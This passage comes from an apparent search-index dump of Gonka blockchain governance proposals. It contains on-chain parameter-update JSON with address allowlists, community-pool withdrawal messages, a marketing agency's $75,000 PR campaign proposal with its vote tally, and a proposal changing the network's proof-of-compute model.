\"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v1/devshardd.zip\",\n \"sha256\": \"dad6f1b97843816c0a33874b89ac403e48b54fe3aa1a0fdccb228d89d2a5594c\"\n },\n {\n \"name\": \"v2\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fdevshard%2Fv2.0.0/devshardd.zip\",\n \"sha256\": \"1a3b58bd0ac20dbb8baa68b1bf6c80516ca3c0f4d39e06160d07613ec1b1340b\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"2000000000\",\n \"recipient\": \"gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"100000000\",\n \"recipient\": \"gonka16k7nzvlheye8zhtyykcanxz0hldnfkmaedye8d\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"3000000000\",\n \"recipient\": \"gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"17000000000\",\n \"recipient\": \"gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"14000000000\",\n \"recipient\": \"gonka1j3f2xkapx8cmczpjqcsrh7cc3peyj3ngkjv4p8\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"10000000000\",\n \"recipient\": \"gonka1m96zrcwsw0wrzw20mxala4gp8r6lju2ewtjd62\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"500000000\",\n \"recipient\": \"gonka1ppn53fu8q3pxvwwf8ycjf3c6nzlugs3hmw6a3q\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"17000000000\",\n \"recipient\": \"gonka1x45hruazmcqxslj3g8a08988hr5fr3wx33drhp\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"30000000000\",\n \"recipient\": \"gonka1yhdhp4vwsvdsplv4acksntx0zxh8saueq6lj9m\"\n }\n },\n \"funds\": []\n }\n]\nPassed
Proposal ID: 77
Type: Execute Contract
Submit: 2026-06-24 15:18 UTC
Voting: 2026-06-24 15:18 UTC → 2026-06-26 15:18 UTC
Proposer: gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09
Metadata: https://www.figma.com/deck/qd7a7bkcit9O1LZ8whP9Ei
$75,000 · Community PoolView on gonka.gg
We are INPUT Global - a leading web3 marketing communications agency. We offer 3 month PR campaign to establish trust and market legitimacy of Gonka across 2 audiences: global business and crypto-native. Deliverables include native editorial content, podcasts, speakerships at the conferences and a flagship industry report built on real market data to anchor Gonka as a thought leader. KPIs: a minimum of 35 unique placements - Top Tier, Tier 1 and Tier 2 media (the full list is inside the deck), daily monitoring of the news agenda for reactive opportunities, and a monthly competitive PR analysis. Cost: 75,000 USDT for 3 months. Full proposal: https://www.figma.com/deck/qd7a7bkcit9O1LZ8whP9Ei loom: https://www.loom.com/share/f2bd2f2b831f4c78bc5d4878059d8291
"}, {"location": "proposals/proposals/2026-q2/77/#final-tally", "title": "Final Tally", "text": "Yes 152,042 (100.0%) No 71 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 152,113 votes"}, {"location": "proposals/proposals/2026-q2/77/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"75000000000\",\n \"recipient\": \"gonka133cwxkcjj4g7kskf6tzee5l0y2ulvglsxt382l\"\n }\n },\n \"funds\": []\n }\n]\nДата публикации: 2026-07-17
Ожидает согласования
Всем хороших выходных!
Weekly Report — 20–24 July · Открыть отдельной страницейДата публикации: 2026-07-24
Всем хороших выходных!
"}, {"location": "proposals/proposals/2026-q2/77/report1/", "title": "Weekly Report — 13-17 July", "text": "Дата публикации: 2026-07-17
Ожидает согласования
Всем хороших выходных!
"}, {"location": "proposals/proposals/2026-q2/77/report2/", "title": "Weekly Report — 20–24 July", "text": "Дата публикации: 2026-07-24
Всем хороших выходных!
"}, {"location": "proposals/proposals/2026-q2/78/", "title": "#78 – Governance 17: update PoC model lineup", "text": "Passed
Proposal ID: 78
Type: Delete Governance Model, Update Params
Submit: 2026-06-25 03:39 UTC
Voting: 2026-06-25 03:39 UTC → 2026-06-25 15:39 UTC
Expedited: Yes
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
Set delegation initial_model_id to MiniMaxAI/MiniMax-M2.7, keep only MiniMaxAI/MiniMax-M2.7 in PoC params, remove Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, moonshotai/Kimi-K2.6 from PoC params, and delete Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, moonshotai/Kimi-K2.6 from governance models.
"}, {"location": "proposals/proposals/2026-q2/78/#final-tally", "title": "Final Tally", "text": "Yes 255,215 (97.1%) No 170 (0.1%) Veto 0 (0.0%) Abstain 7,390 (2.8%) Total 262,775 votes"}, {"location": "proposals/proposals/2026-q2/78/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams 2 /inference.inference.MsgDeleteGovernanceModel 3 /inference.inference.MsgDeleteGovernanceModel Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": 